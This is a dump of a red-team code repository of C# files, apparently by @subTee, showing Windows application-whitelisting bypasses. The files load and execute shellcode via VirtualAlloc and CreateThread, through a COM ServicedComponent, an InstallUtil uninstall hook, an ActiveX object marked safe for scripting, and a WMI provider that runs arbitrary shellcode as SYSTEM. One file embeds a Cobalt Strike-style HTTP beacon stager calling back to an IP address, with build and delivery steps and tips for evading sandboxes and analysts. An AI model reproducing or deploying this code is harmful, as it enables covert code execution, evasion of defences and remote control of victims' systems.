ApplicationAccessControl(false)] 61 | namespace dllguest 62 | { 63 | [ComVisible(true)] 64 | [Guid("0002B969-7608-426E-9D8E-A09FC9A51680")] 65 | [ClassInterface(ClassInterfaceType.AutoDispatch)] 66 | [ProgId("dllguest.Bypass")] 67 | public class Bypass : ServicedComponent 68 | { 69 | public Bypass() { } 70 | 71 | public void Exec() 72 | { 73 | Shellcode.Exec(); 74 | } 75 | 76 | public static void Sheller() 77 | { 78 | Shellcode.Exec(); 79 | } 80 | } 81 | 82 | public class Program 83 | { 84 | 85 | static void Main(string[] args) 86 | { 87 | Console.WriteLine("Hello, World!"); 88 | } 89 | } 90 | 91 | public class Shellcode 92 | { 93 | public static void Exec() 94 | { 95 | // native function's compiled code 96 | // generated with metasploit 97 | // executes calc.exe 98 | byte[] shellcode = new byte[193] { 99 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 100 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 101 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 102 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 103 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 104 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 105 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 106 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 107 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 108 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 109 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 110 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 111 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 112 | 113 | 114 | 115 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 116 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 117 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 118 | IntPtr hThread = IntPtr.Zero; 119 | UInt32 threadId = 0; 120 | // prepare data 121 | 122 | 123 | IntPtr pinfo = IntPtr.Zero; 124 | 125 | // execute native code 126 | 127 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 128 | WaitForSingleObject(hThread, 0xFFFFFFFF); 129 | return; 130 | } 131 | 132 | private static UInt32 MEM_COMMIT = 0x1000; 133 | 134 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 135 | 136 | [DllImport("kernel32")] 137 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 138 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 139 | 140 | 141 | [DllImport("kernel32")] 142 | private static extern IntPtr CreateThread( 143 | 144 | UInt32 lpThreadAttributes, 145 | UInt32 dwStackSize, 146 | UInt32 lpStartAddress, 147 | IntPtr param, 148 | UInt32 dwCreationFlags, 149 | ref UInt32 lpThreadId 150 | 151 | ); 152 | 153 | [DllImport("kernel32")] 154 | private static extern UInt32 WaitForSingleObject( 155 | 156 | IntPtr hHandle, 157 | UInt32 dwMilliseconds 158 | ); 159 | 160 | 161 | } 162 | 163 | } -------------------------------------------------------------------------------- /beaconPayload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Diagnostics; 4 | using System.Reflection; 5 | using System.Configuration.Install; 6 | using System.Runtime.InteropServices; 7 | 8 | /* 9 | Author: Casey Smith, Twitter: @subTee 10 | License: BSD 3-Clause 11 | Step One: 12 | Generate Payload: 13 | CobaltStrike TeamServer | Attacks | Packaages | Payload Generator 14 | Step Two: 15 | Copy Payload Into .cs file 16 | Compile (Not this can be done in advance, from the TeamServer, more on this later) 17 | All you need is to Deliver the Payload exe/dll 18 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:bp.exe beaconPayload.cs 19 | 20 | Step Three: 21 | Invoke Via InstallUtil 22 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U bp.exe 23 | 24 | 25 | 26 | 27 | */ 28 | 29 | public class Program 30 | { 31 | public static void Main() 32 | { 33 | Console.WriteLine("Hey There From Main()"); 34 | //Add any behaviour here to throw off sandbox execution/analysts :) 35 | 36 | } 37 | 38 | } 39 | 40 | [System.ComponentModel.RunInstaller(true)] 41 | public class Sample : System.Configuration.Install.Installer 42 | { 43 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 44 | public override void Uninstall(System.Collections.IDictionary savedState) 45 | { 46 | 47 | Shellcode.Exec(); 48 | 49 | } 50 | 51 | } 52 | 53 | public class Shellcode 54 | { 55 | public static void Exec() 56 | { 57 | // Replace this Byte Array with Your Generatated Shellcode. 58 | /* length: 528 bytes */ 59 | byte[] shellcode = new byte[528] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 60 | 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 61 | 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 62 | 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 63 | 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 64 | 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 65 | 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 66 | 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x80, 0x00, 0x00, 0x00, 0x4d, 0x6f, 0x7a, 67 | 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 68 | 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 69 | 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x46, 0x75, 0x6e, 0x57, 0x65, 70 | 0x62, 0x50, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x3b, 0x20, 0x49, 0x45, 0x30, 0x30, 0x30, 0x36, 0x5f, 0x76, 0x65, 0x72, 0x31, 71 | 0x3b, 0x45, 0x4e, 0x5f, 0x47, 0x42, 0x29, 0x00, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 72 | 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00, 0x59, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 73 | 0x51, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x79, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x90, 0x1f, 74 | 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x62, 0x59, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x60, 0x84, 75 | 0x52, 0x52, 0x52, 0x51, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x56, 76 | 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x44, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 77 | 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 78 | 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xbc, 0x31, 0xff, 0xeb, 0x15, 0xeb, 79 | 0x49, 0xe8, 0x99, 0xff, 0xff, 0xff, 0x2f, 0x64, 0x48, 0x69, 0x73, 0x00, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 80 | 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x53, 0x89, 81 | 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xcd, 0x8b, 0x07, 82 | 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x37, 0xff, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x35, 83 | 0x36, 0x2e, 0x31, 0x30, 0x33, 0x00 }; 84 | 85 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 86 | Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); 87 | IntPtr hThread = IntPtr.Zero; 88 | UInt32 threadId = 0; 89 | 90 | IntPtr pinfo = IntPtr.Zero; 91 | 92 | 93 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 94 | WaitForSingleObject(hThread, 0xFFFFFFFF); 95 | return; 96 | 97 | } 98 | 99 | private static UInt32 MEM_COMMIT = 0x1000; 100 | 101 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 102 | 103 | [DllImport("kernel32")] 104 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 105 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 106 | 107 | 108 | 109 | [DllImport("kernel32")] 110 | private static extern IntPtr CreateThread( 111 | 112 | UInt32 lpThreadAttributes, 113 | UInt32 dwStackSize, 114 | UInt32 lpStartAddress, 115 | IntPtr param, 116 | UInt32 dwCreationFlags, 117 | ref UInt32 lpThreadId 118 | 119 | ); 120 | 121 | [DllImport("kernel32")] 122 | private static extern bool CloseHandle(IntPtr handle); 123 | 124 | [DllImport("kernel32")] 125 | private static extern UInt32 WaitForSingleObject( 126 | 127 | IntPtr hHandle, 128 | UInt32 dwMilliseconds 129 | ); 130 | 131 | 132 | 133 | } -------------------------------------------------------------------------------- /EmpireCOMPosh.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Diagnostics; 4 | using System.Reflection; 5 | using System.Configuration.Install; 6 | using System.Runtime.InteropServices; 7 | 8 | //Add For PowerShell Invocation 9 | using System.Collections.ObjectModel; 10 | using System.Management.Automation; 11 | using System.Management.Automation.Runspaces; 12 | using System.Text; 13 | 14 | /* 15 | Author: Casey Smith, Twitter: @subTee 16 | 17 | License: BSD 3-Clause 18 | 19 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' 20 | $Content = [System.Convert]::FromBase64String($key) 21 | Set-Content key.snk -Value $Content -Encoding Byte 22 | 23 | 24 | Step One: Compile 25 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files\Reference Assemblies\Microsoft\WindowsPowerShell\v1.0\System.Management.Automation.dll" /out:pshell.exe /keyfile:key.snk EmpireCOMPosh.cs 26 | 27 | Step Two: 28 | x86 29 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm /codebase /tlb pshell.exe 30 | x64 31 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm /codebase /tlb pshell.exe 32 | 33 | //This matters so that on x64 systems you can create the objects. Otherwise you must use x86 version of cscript 34 | //Best to register both on x64 systems. IMHO 35 | 36 | From Jscript 37 | var o = new ActiveXObject("Empire.COMPosh"); 38 | o.RunPSCommand("[Math]::Sqrt([Math]::Pi)"); 39 | 40 | From IE via HTML - Without that pesky "unsafe" alert ;-) 41 | 42 | 43 | Empire 44 | 45 |

This is Our Test Page

46 | 47 | 54 | 55 | 56 | */ 57 | 58 | public class Program 59 | { 60 | public static void Main() 61 | { 62 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 63 | //Add any behaviour here to throw off sandbox execution/analysts :) 64 | //Not Actually Necessary 65 | } 66 | 67 | } 68 | 69 | // A very simple interface to test ActiveX with. 70 | 71 | [ 72 | Guid( "06AE8B00-9DBE-4BC4-B098-461C529DF18A"), 73 | InterfaceType( ComInterfaceType.InterfaceIsDual), 74 | ComVisible( true) 75 | ] 76 | public interface IHeartEmpire 77 | { 78 | [DispId(1)] 79 | string RunPSCommand(string cmd); 80 | 81 | }; 82 | 83 | [ 84 | Serializable, 85 | ComVisible(true) 86 | ] 87 | public enum ObjectSafetyOptions 88 | { 89 | INTERFACESAFE_FOR_UNTRUSTED_CALLER = 0x00000001, 90 | INTERFACESAFE_FOR_UNTRUSTED_DATA = 0x00000002, 91 | INTERFACE_USES_DISPEX = 0x00000004, 92 | INTERFACE_USES_SECURITY_MANAGER = 0x00000008 93 | }; 94 | 95 | // 96 | // MS IObjectSafety Interface definition 97 | // 98 | [ 99 | ComImport(), 100 | Guid("CB5BDC81-93C1-11CF-8F20-00805F2CD064"), 101 | InterfaceType(ComInterfaceType.InterfaceIsIUnknown) 102 | ] 103 | public interface IObjectSafety 104 | { 105 | [PreserveSig] 106 | long GetInterfaceSafetyOptions( ref Guid iid, out int pdwSupportedOptions, out int pdwEnabledOptions); 107 | 108 | [PreserveSig] 109 | long SetInterfaceSafetyOptions( ref Guid iid, int dwOptionSetMask, int dwEnabledOptions); 110 | }; 111 | 112 | // 113 | // Provides a default Implementation for 114 | // safe scripting. 115 | // This basically means IE won't complain about the 116 | // ActiveX object not being safe ;-) 117 | // 118 | public class IObjectSafetyImpl : IObjectSafety 119 | { 120 | private ObjectSafetyOptions m_options = 121 | ObjectSafetyOptions.INTERFACESAFE_FOR_UNTRUSTED_CALLER | 122 | ObjectSafetyOptions.INTERFACESAFE_FOR_UNTRUSTED_DATA; 123 | 124 | #region [IObjectSafety implementation] 125 | public long GetInterfaceSafetyOptions( ref Guid iid, out int pdwSupportedOptions, out int pdwEnabledOptions) 126 | { 127 | pdwSupportedOptions = (int)m_options; 128 | pdwEnabledOptions = (int)m_options; 129 | return 0; 130 | } 131 | 132 | public long SetInterfaceSafetyOptions(ref Guid iid, int dwOptionSetMask, int dwEnabledOptions) 133 | { 134 | return 0; 135 | } 136 | #endregion 137 | }; 138 | 139 | 140 | 141 | [ 142 | Guid("DDCCB08C-CB89-4530-87D1-ABB203B4C593"), 143 | 144 | // This is basically the programmer friendly name 145 | // for the guid above. We define this because it will 146 | // be used to instantiate this class. I think this can be 147 | // whatever you want. Generally it is 148 | // [assemblyname].[classname] 149 | ProgId("Empire.COMPosh"), 150 | 151 | // No class interface is generated for this class and 152 | // no interface is marked as the default. 153 | // Users are expected to expose functionality through 154 | // interfaces that will be explicitly exposed by the object 155 | // This means the object can only expose interfaces we define 156 | ClassInterface(ClassInterfaceType.None), 157 | 158 | // Set the default COM interface that will be used for 159 | // Automation. Languages like: C#, C++ and VB 160 | // allow to query for interface's we're interested in 161 | // but Automation only aware languages like JavaScript do 162 | // not allow to query interface(s) and create only the 163 | // default one 164 | ComDefaultInterface(typeof(IHeartEmpire)), 165 | ComVisible(true) 166 | ] 167 | public class EmpireCOMPosh : IObjectSafetyImpl, IHeartEmpire 168 | { 169 | 170 | //Based on Jared Atkinson's And Justin Warner's Work 171 | public string RunPSCommand(string cmd) 172 | { 173 | //Init stuff 174 | Runspace runspace = RunspaceFactory.CreateRunspace(); 175 | runspace.Open(); 176 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 177 | Pipeline pipeline = runspace.CreatePipeline(); 178 | 179 | //Add commands 180 | pipeline.Commands.AddScript(cmd); 181 | 182 | //Prep PS for string output and invoke 183 | pipeline.Commands.Add("Out-String"); 184 | Collection results = pipeline.Invoke(); 185 | runspace.Close(); 186 | 187 | //Convert records to strings 188 | StringBuilder stringBuilder = new StringBuilder(); 189 | foreach (PSObject obj in results) 190 | { 191 | stringBuilder.Append(obj); 192 | } 193 | return stringBuilder.ToString().Trim(); 194 | } 195 | 196 | 197 | } -------------------------------------------------------------------------------- /EvilWMIProvider.cs: -------------------------------------------------------------------------------- 1 | // Based On LocalAdmin WMI Provider by Roger Zander 2 | // http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx 3 | // Adapted For Evil By @subTee 4 | // Executes x64 ShellCode 5 | // 6 | // Deliver and Install dll 7 | // C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll 8 | // Invoke calc for SYSTEM level calculations 9 | // Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode 10 | // Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null 11 | // Or... wmic.exe path win32_Evil 12 | 13 | 14 | 15 | using System; 16 | using System.IO; 17 | using System.Collections; 18 | using System.Management.Instrumentation; 19 | using System.Management; 20 | using System.Diagnostics; 21 | using System.Reflection; 22 | using System.Configuration.Install; 23 | using System.Runtime.InteropServices; 24 | using System.EnterpriseServices.Internal; 25 | 26 | 27 | [assembly: WmiConfiguration(@"root\cimv2", HostingModel = ManagementHostingModel.LocalSystem)] 28 | namespace EvilWMIProvider 29 | { 30 | [System.ComponentModel.RunInstaller(true)] 31 | public class EvilInstall : DefaultManagementInstaller 32 | { 33 | public override void Install(IDictionary stateSaver) 34 | { 35 | 36 | new System.EnterpriseServices.Internal.Publish().GacInstall("EvilWMIProvider.dll"); 37 | base.Install(stateSaver); 38 | System.Runtime.InteropServices.RegistrationServices RS = new System.Runtime.InteropServices.RegistrationServices(); 39 | } 40 | 41 | public override void Uninstall(IDictionary savedState) 42 | { 43 | 44 | try 45 | { 46 | ManagementClass MC = new ManagementClass(@"root\cimv2:Win32_Evil"); 47 | MC.Delete(); 48 | } 49 | catch { } 50 | 51 | try 52 | { 53 | base.Uninstall(savedState); 54 | } 55 | catch { } 56 | } 57 | } 58 | 59 | [ManagementEntity(Name = "Win32_Evil")] 60 | public class Evil 61 | { 62 | [ManagementKey] 63 | public string Member { get; set; } 64 | 65 | 66 | public Evil(string sMember) 67 | { 68 | Member = sMember; 69 | ExecShellCalcCode(); //Lauches ShellCode Not Necessary, Just here for Testing. 70 | } 71 | 72 | 73 | [ManagementEnumerator] 74 | static public IEnumerable DoEvil() 75 | { 76 | string sName = "Hello, World!"; 77 | yield return new Evil(sName); 78 | 79 | } 80 | 81 | [ManagementTask] 82 | public static void ExecShellCalcCode() 83 | { 84 | // native function's compiled code 85 | // generated with metasploit 86 | // This is x64 Shellcode that start calc.exe 87 | // TODO: Experiment with x86 and x64 detection 88 | byte[] shellcode = new byte[272] { 89 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 90 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 91 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 92 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 93 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 94 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 95 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 96 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 97 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 98 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 99 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 100 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 101 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 102 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 103 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 104 | 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 105 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 106 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 107 | 0x63,0x00 }; 108 | 109 | 110 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 111 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 112 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 113 | IntPtr hThread = IntPtr.Zero; 114 | UInt32 threadId = 0; 115 | // prepare data 116 | 117 | 118 | IntPtr pinfo = IntPtr.Zero; 119 | 120 | // execute native code 121 | 122 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 123 | WaitForSingleObject(hThread, 0xFFFFFFFF); 124 | 125 | } 126 | 127 | [ManagementTask] 128 | public static void ExecShellCode(byte[] sc) 129 | { 130 | // native function's compiled code 131 | // generated with metasploit 132 | // Takes Shellcode as an input parameter 133 | // Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90, 0x90, 0x00), $null 134 | // $null parameter required based on: 135 | // http://ss64.com/ps/invoke-wmimethod.html 136 | 137 | byte[] shellcode = sc; 138 | 139 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 140 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 141 | Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); 142 | IntPtr hThread = IntPtr.Zero; 143 | UInt32 threadId = 0; 144 | // prepare data 145 | 146 | 147 | IntPtr pinfo = IntPtr.Zero; 148 | 149 | // execute native code 150 | 151 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 152 | WaitForSingleObject(hThread, 0xFFFFFFFF); 153 | 154 | } 155 | 156 | 157 | private static UInt32 MEM_COMMIT = 0x1000; 158 | 159 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 160 | 161 | [DllImport("kernel32")] 162 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 163 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 164 | 165 | [DllImport("kernel32")] 166 | private static extern IntPtr CreateThread( 167 | 168 | UInt32 lpThreadAttributes, 169 | UInt32 dwStackSize, 170 | UInt32 lpStartAddress, 171 | IntPtr param, 172 | UInt32 dwCreationFlags, 173 | ref UInt32 lpThreadId 174 | 175 | ); 176 | 177 | 178 | [DllImport("kernel32")] 179 | private static extern UInt32 WaitForSingleObject( 180 | 181 | IntPtr hHandle, 182 | UInt32 dwMilliseconds 183 | ); 184 | 185 | 186 | } 187 | 188 | } -------------------------------------------------------------------------------- /DynamicWrapperCS.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using System.Reflection.Emit; 4 | using System.Runtime; 5 | using System.Text; 6 | using System.Runtime.InteropServices; 7 | using System.EnterpriseServices; 8 | using ComTypes = System.Runtime.InteropServices.ComTypes; 9 | 10 | 11 | // Invoke a Win32 P/Invoke call. 12 | // Based on work by Lee Holmes 13 | // http://www.leeholmes.com/blog/2006/07/21/get-the-owner-of-a-process-in-powershell-pinvoke-and-refout-parameters 14 | 15 | /* 16 | Author: Casey Smith, Twitter: @subTee 17 | License: BSD 3-Clause 18 | Create Your Strong Name Key -> key.snk 19 | $key = 